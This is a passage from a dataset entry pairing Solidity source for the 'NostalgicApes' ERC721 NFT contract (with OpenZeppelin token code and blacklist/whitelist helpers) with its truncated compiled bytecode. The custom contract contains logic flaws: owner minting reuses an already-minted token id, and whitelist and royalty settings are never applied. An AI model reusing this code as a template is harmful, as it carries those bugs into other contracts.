* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `ownedTokensIndex` mapping is _not updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract BlackLkisted is Ownable {
mapping(address=>bool) isBlacklisted;
function blackList(address _user) public onlyOwner {
require(!isBlacklisted[_user], "user already blacklisted");
isBlacklisted[_user] = true;
// emit events as well
}
function removeFromBlacklist(address _user) public onlyOwner {
require(isBlacklisted[_user], "user already whitelisted");
isBlacklisted[_user] = false;
// emit events as well
}
}
contract Whitelist is BlackLkisted {
mapping(address => bool) whitelist;
event AddedToWhitelist(address indexed account);
event RemovedFromWhitelist(address indexed account);
modifier onlyWhitelisted() {
require(isWhitelisted(msg.sender));
_;
}
function addToWhiteList(address _address) public onlyOwner {
whitelist[_address] = true;
emit AddedToWhitelist(_address);
}
function removeToWhiteList(address _address) public onlyOwner {
whitelist[_address] = false;
emit RemovedFromWhitelist(_address);
}
function isWhitelisted(address _address) public view returns(bool) {
return whitelist[_address];
}
}
contract NostalgicApes is ERC721Enumerable, Whitelist {
using SafeMath for uint256;
uint256 public constant MAX_SUPPLY = 10000;
string private _baseTokenURI = "ipfs://QmchYHgc4p5pw6jDk9pi9E8TQxv8PpZZq4DYBCkV5qkpFS/";
address payable public royaltyAddress;
bool public hasSaleStarted = false;
uint256 public minitingFees;
uint256 public maxApesMint;
uint256 public royalties;
bool public revealed = false;
constructor() ERC721("Nostalgic Apes", "NA") {
royaltyAddress = payable(0x2922df85Ee4fc179986196af3dc5d4708A39ec4e);
royalties=10;
maxApesMint=100;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
// Start Sale, we can start minting!
function startSale() public onlyOwner {
hasSaleStarted = true;
}
// Pause Sale
function pauseSale() public onlyOwner {
hasSaleStarted = false;
}
// Function for set the royalties
function setRoyalties(uint256 _newfees) public onlyOwner{
royalties=_newfees;
}
// Function for set the Minting Fees
function setMintFees(uint256 _minitingFees)public onlyOwner{
minitingFees=_minitingFees;
}
// Function for set the royalty Address
function setRoyaltyAddress(address payable _newAddress)public onlyOwner{
royaltyAddress=_newAddress;
}
// Function for set the Max Minitng Apes
function setMaxMintingApes(uint256 _numberOfAPes) public onlyOwner{
maxApesMint=_numberOfAPes;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function getBaseURI() public view returns (string memory) {
return _baseTokenURI;
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory) {
string memory json=".json";
uint256 totalSupply = totalSupply();
require(_tokenId <= totalSupply, "That token hasn't been minted yet");
return string(abi.encodePacked(_baseTokenURI, Strings.toString(_tokenId),json));
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
/*
*@dev mint Fucntion is to mint the NFTS
@dev _count is the number of NFTS you want to Mint
*/
function mint(uint256 _count) public payable {
require(!isBlacklisted[msg.sender], "caller is backlisted");
uint256 totalSupply = totalSupply();
require(totalSupply <= MAX_SUPPLY, "Sold out");
require(hasSaleStarted == true, "Sale hasn't started");
require(totalSupply + _count <= MAX_SUPPLY, "Not enough tokens left");
require(_count <= maxApesMint, "Mint maxApesMint or fewer, please.");
require(msg.value >= _count.mul(minitingFees), "The value submitted with this transaction is too low.");
payable(owner()).transfer(msg.value);
for (uint256 i=1; i <=_count; i++) {
_safeMint(msg.sender, totalSupply + i);
}
}
/*
*@dev mintOwner Fucntion is to mint the NFTS for owner
@dev _count is the number of NFTS you want to Mint
*/
function mintOwner(uint256 _count) public onlyOwner {
uint256 totalSupply = totalSupply();
require(totalSupply < MAX_SUPPLY, "Sold out");
require(totalSupply + _count <= MAX_SUPPLY, "Not enough tokens left");
require(_count <= maxApesMint, "Mint maxApesMint or fewer, please.");
for (uint256 i; i < _count; i++) {
_safeMint(msg.sender, totalSupply + i);
}
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
} | 0x60806040526004361061025c5760003560e01c80635183022711610144578063a0712d68116100b6578063c87b56dd1161007a578063c87b56dd146106ed578063e25ee66b1461070d578063e985e9c51461072d578063f053dc5c14610776578063f2fde38b1461078c578063f9366a04146107ac57600080fd5b8063a0712d6814610665578063a22cb46514610678578063ad2f852a14610698578063b66a0e5d146106b8578063b88d4fde146106cd57600080fd5b80636352211e116101085780636352211e146105c857806370a08231146105e8578063714c539814610608578063715018a61461061d5780638da5cb5b1461063257806395d89b411461065057600080fd5b80635183022714610543578063537df3b61461055d57806354a7b7fe1461057d57806355367ba91461059357806355f804b3146105a857600080fd5b80632b80183f116101dd5780633ccfd60b116101a15780633ccfd60b1461048157806342842e0e14610496578063438b6300146104b657806347ee0394146104e35780634838d165146105035780634f6ccce71461052357600080fd5b80632b80183f146103d25780632f745c59146103f257806332cb6b0c1461041257806333f88d22146104285780633af32abf1461044857600080fd5b8063095ea7b311610224578063095ea7b31461033257806318160ddd146103525780631c8b232d1461037157806323b872dd14610392578063289c33dc146103b257600080fd5b806301ffc9a71461026157806306b6f7e91461029657806306d254da146102b857806306fdde03146102d8578063081812fc146102fa575b600080fd5b34801561026d57600080fd5b5061028161027c36600461228a565b6107c2565b60405190151581526020015b60405180910390f35b3480156102a257600080fd5b506102b66102b13660046122a7565b6107ed565b005b3480156102c457600080fd5b506102b66102d33660046122d5565b610825565b3480156102e457600080fd5b506102ed610871565b60405161028d919061234a565b34801561030657600080fd5b5061031a6103153660046122a7565b610903565b6040516001600160a01b03909116815260200161028d565b34801561033e57600080fd5b506102b661034d36600461235d565b610998565b34801561035e57600080fd5b506008545b60405190815260200161028d565b34801561037d57600080fd5b50600e5461028190600160a01b900460ff1681565b34801561039e57600080fd5b506102b66103ad366004612389565b610aae565b3480156103be57600080fd5b506102b66103cd3660046122d5565b610adf565b3480156103de57600080fd5b506102b66103ed3660046122a7565b610b52565b3480156103fe57600080fd5b5061036361040d36600461235d565b610b81565b34801561041e57600080fd5b5061036361271081565b34801561043457600080fd5b506102b66104433660046122a7565b610c17565b34801561045457600080fd5b506102816104633660046122d5565b6001600160a01b03166000908152600c602052604090205460ff1690565b34801561048d57600080fd5b506102b6610d30565b3480156104a257600080fd5b506102b66104b1366004612389565b610d8d565b3480156104c257600080fd5b506104d66104d13660046122d5565b610da8565b60405161028d91906123ca565b3480156104ef57600080fd5b506102b66104fe3660046122d5565b610e4a565b34801561050f57600080fd5b506102b661051e3660046122d5565b610ec0565b34801561052f57600080fd5b5061036361053e3660046122a7565b610f77565b34801561054f57600080fd5b506012546102819060ff1681565b34801561056957600080fd5b506102b66105783660046122d5565b61100a565b34801561058957600080fd5b50610363600f5481565b34801561059f57600080fd5b506102b66110bd565b3480156105b457600080fd5b506102b66105c336600461249a565b6110f6565b3480156105d457600080fd5b5061031a6105e33660046122a7565b611133565b3480156105f457600080fd5b506103636106033660046122d5565b6111aa565b34801561061457600080fd5b506102ed611231565b34801561062957600080fd5b506102b6611240565b34801561063e57600080fd5b50600a546001600160a01b031661031a565b34801561065c57600080fd5b506102ed611276565b6102b66106733660046122a7565b611285565b34801561068457600080fd5b506102b66106933660046124e3565b6114cf565b3480156106a457600080fd5b50600e5461031a906001600160a01b031681565b3480156106c457600080fd5b506102b6611594565b3480156106d957600080fd5b506102b66106e8366004612521565b6115d3565b3480156106f957600080fd5b506102ed6107083660046122a7565b61160b565b34801561071957600080fd5b506102b66107283660046122a7565b6116c7565b34801561073957600080fd5b506102816107483660046125a1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561078257600080fd5b5061036360115481565b34801561079857600080fd5b506102b66107a73660046122d5565b6116f6565b3480156107b857600080fd5b5061036360105481565b60006001600160e01b0319821663780e9d6360e01b14806107e757506107e782611791565b92915050565b600a546001600160a01b031633146108205760405162461bcd60e51b8152600401610817906125cf565b60405180910390fd5b600f55565b600a546001600160a01b0316331461084f5760405162461bcd60e51b8152600401610817906125cf565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60606000805461088090612604565b80601f01602080910402602001604051908101604052809291908181526020018280546108ac90612604565b80156108f95780601f106108ce576101008083540402835291602001916108f9565b820191906000526020600020905b8154815290600101906020018083116108dc57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661097c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610817565b506000908152600460205260409020546001600160a01b031690565b60006109a382611133565b9050806001600160a01b0316836001600160a01b03161415610a115760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610817565b336001600160a01b0382161480610a2d5750610a2d8133610748565b610a9f5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610817565b610aa983836117e1565b505050565b610ab8338261184f565b610ad45760405162461bcd60e51b81526004016108179061263f565b610aa9838383611946565b600a546001600160a01b03163314610b095760405162461bcd60e51b8152600401610817906125cf565b6001600160a01b0381166000818152600c6020526040808220805460ff19169055517fcdd2e9b91a56913d370075169cefa1602ba36be5301664f752192bb1709df7579190a250565b600a546001600160a01b03163314610b7c5760405162461bcd60e51b8152600401610817906125cf565b601155565b6000610b8c836111aa565b8210610bee5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610817565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610c415760405162461bcd60e51b8152600401610817906125cf565b6000610c4c60085490565b90506127108110610c8a5760405162461bcd60e51b815260206004820152600860248201526714dbdb19081bdd5d60c21b6044820152606401610817565b612710610c9783836126a6565b1115610cde5760405162461bcd60e51b8152602060048201526016602482015275139bdd08195b9bdd59da081d1bdad95b9cc81b19599d60521b6044820152606401610817565b601054821115610d005760405162461bcd60e51b8152600401610817906126be565b60005b82811015610aa957610d1e33610d1983856126a6565b611af1565b80610d2881612700565b915050610d03565b600a546001600160a01b03163314610d5a5760405162461bcd60e51b8152600401610817906125cf565b6040514790339082156108fc029083906000818181858888f19350505050158015610d89573d6000803e3d6000fd5b5050565b610aa9838383604051806020016040528060008152506115d3565b60606000610db5836111aa565b905060008167ffffffffffffffff811115610dd257610dd261240e565b604051908082528060200260200182016040528015610dfb578160200160208202803683370190505b50905060005b82811015610e4257610e138582610b81565b828281518110610e2557610e2561271b565b602090810291909101015280610e3a81612700565b915050610e01565b509392505050565b600a546001600160a01b03163314610e745760405162461bcd60e51b8152600401610817906125cf565b6001600160a01b0381166000818152600c6020526040808220805460ff19166001179055517fa850ae9193f515cbae8d35e8925bd2be26627fc91bce650b8652ed254e9cab039190a250565b600a546001600160a01b03163314610eea5760405162461bcd60e51b8152600401610817906125cf565b6001600160a01b0381166000908152600b602052604090205460ff1615610f535760405162461bcd60e51b815260206004820152601860248201527f7573657220616c726561647920626c61636b6c697374656400000000000000006044820152606401610817565b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b6000610f8260085490565b8210610fe55760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610817565b60088281548110610ff857610ff861271b565b90600052602060002001549050919050565b600a546001600160a01b031633146110345760405162461bcd60e51b8152600401610817906125cf565b6001600160a01b0381166000908152600b602052604090205460ff1661109c5760405162461bcd60e51b815260206004820152601860248201527f7573657220616c72656164792077686974656c697374656400000000000000006044820152606401610817565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b600a546001600160a01b031633146110e75760405162461bcd60e51b8152600401610817906125cf565b600e805460ff60a01b19169055565b600a546001600160a01b031633146111205760405162461bcd60e51b8152600401610817906125cf565b8051610d8990600d9060208401906121db565b6000818152600260205260408120546001600160a01b0316806107e75760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610817565b60006001600160a01b0382166112155760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610817565b506001600160a01b031660009081526003602052604090205490565b6060600d805461088090612604565b600a546001600160a01b0316331461126a5760405162461bcd60e51b8152600401610817906125cf565b6112746000611b0b565b565b60606001805461088090612604565b336000908152600b602052604090205460ff16156112dc5760405162461bcd60e51b815260206004820152601460248201527318d85b1b195c881a5cc8189858dadb1a5cdd195960621b6044820152606401610817565b60006112e760085490565b90506127108111156113265760405162461bcd60e51b815260206004820152600860248201526714dbdb19081bdd5d60c21b6044820152606401610817565b600e54600160a01b900460ff16151560011461137a5760405162461bcd60e51b815260206004820152601360248201527214d85b19481a185cdb89dd081cdd185c9d1959606a1b6044820152606401610817565b61271061138783836126a6565b11156113ce5760405162461bcd60e51b8152602060048201526016602482015275139bdd08195b9bdd59da081d1bdad95b9cc81b19599d60521b6044820152606401610817565b6010548211156113f05760405162461bcd60e51b8152600401610817906126be565b600f546113fe908390611b5d565b34101561146b5760405162461bcd60e51b815260206004820152603560248201527f5468652076616c7565207375626d69747465642077697468207468697320747260448201527430b739b0b1ba34b7b71034b9903a37b7903637bb9760591b6064820152608401610817565b600a546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156114a4573d6000803e3d6000fd5b5060015b828111610aa9576114bd33610d1983856126a6565b806114c781612700565b9150506114a8565b6001600160a01b0382163314156115285760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610817565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b031633146115be5760405162461bcd60e51b8152600401610817906125cf565b600e805460ff60a01b1916600160a01b179055565b6115dd338361184f565b6115f95760405162461bcd60e51b81526004016108179061263f565b61160584848484611be3565b50505050565b604080518082019091526005815264173539b7b760d91b6020820152606090600061163560085490565b9050808411156116915760405162461bcd60e51b815260206004820152602160248201527f5468617420746f6b656e206861736e2774206265656e206d696e7465642079656044820152601d60fa1b6064820152608401610817565b600d61169c85611c16565b836040516020016116af9392919061274d565b60405160208183030381529060405292505050919050565b600a546001600160a01b031633146116f15760405162461bcd60e51b8152600401610817906125cf565b601055565b600a546001600160a01b031633146117205760405162461bcd60e51b8152600401610817906125cf565b6001600160a01b0381166117855760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610817565b61178e81611b0b565b50565b60006001600160e01b031982166380ac58cd60e01b14806117c257506001600160e01b03198216635b5e139f60e01b145b806107e757506301ffc9a760e01b6001600160e01b03198316146107e7565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061181682611133565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166118c85760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610817565b60006118d383611133565b9050806001600160a01b0316846001600160a01b0316148061190e5750836001600160a01b031661190384610903565b6001600160a01b0316145b8061193e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661195982611133565b6001600160a01b0316146119c15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610817565b6001600160a01b038216611a235760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610817565b611a2e838383611d14565b611a396000826117e1565b6001600160a01b0383166000908152600360205260408120805460019290611a629084906127fe565b90915550506001600160a01b0382166000908152600360205260408120805460019290611a909084906126a6565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610d89828260405180602001604052806000815250611dcc565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600082611b6c575060006107e7565b6000611b788385612815565b905082611b85858361284a565b14611bdc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610817565b9392505050565b611bee848484611946565b611bfa84848484611dff565b6116055760405162461bcd60e51b81526004016108179061285e565b606081611c3a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611c645780611c4e81612700565b9150611c5d9050600a8361284a565b9150611c3e565b60008167ffffffffffffffff811115611c7f57611c7f61240e565b6040519080825280601f01601f191660200182016040528015611ca9576020820181803683370190505b5090505b841561193e57611cbe6001836127fe565b9150611ccb600a866128b0565b611cd69060306126a6565b60f81b818381518110611ceb57611ceb61271b565b60200101906001600160f81b031916908160001a905350611d0d600a8661284a565b9450611cad565b6001600160a01b038316611d6f57611d6a81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611d92565b816001600160a01b0316836001600160a01b031614611d9257611d928382611efd565b6001600160a01b038216611da957610aa981611f9a565b826001600160a01b0316826001600160a01b031614610aa957610aa98282612049565b611dd6838361208d565b611de36000848484611dff565b610aa95760405162461bcd60e51b81526004016108179061285e565b60006001600160a01b0384163b15611ef257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611e439033908990889088906004016128c4565b6020604051808303816000875af1925050508015611e7e575060408051601f3d908101601f19168201909252611e7b918101906128f7565b60015b611ed8573d808015611eac576040519150601f19603f3d011682016040523d82523d6000602084013e611eb1565b606091505b508051611ed05760405162461bcd60e51b81526004016108179061285e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061193e565b506001949350505050565b60006001611f0a846111aa565b611f1491906127fe565b600083815260076020526040902054909150808214611f67576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611fac906001906127fe565b60008381526009602052604081205460088054939450909284908110611fd457611fd461271b565b906000526020600020015490508060088381548110611ff557611ff561271b565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061202d5761202d612914565b6001900381819060005260206000200160009055905550505050565b6000612054836111aa565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166120e35760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610817565b6000818152600260205260409020546001600160a01b0316156121485760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610817565b61215460008383611d14565b6001600160a01b038216600090815260036020526040812080546001929061217d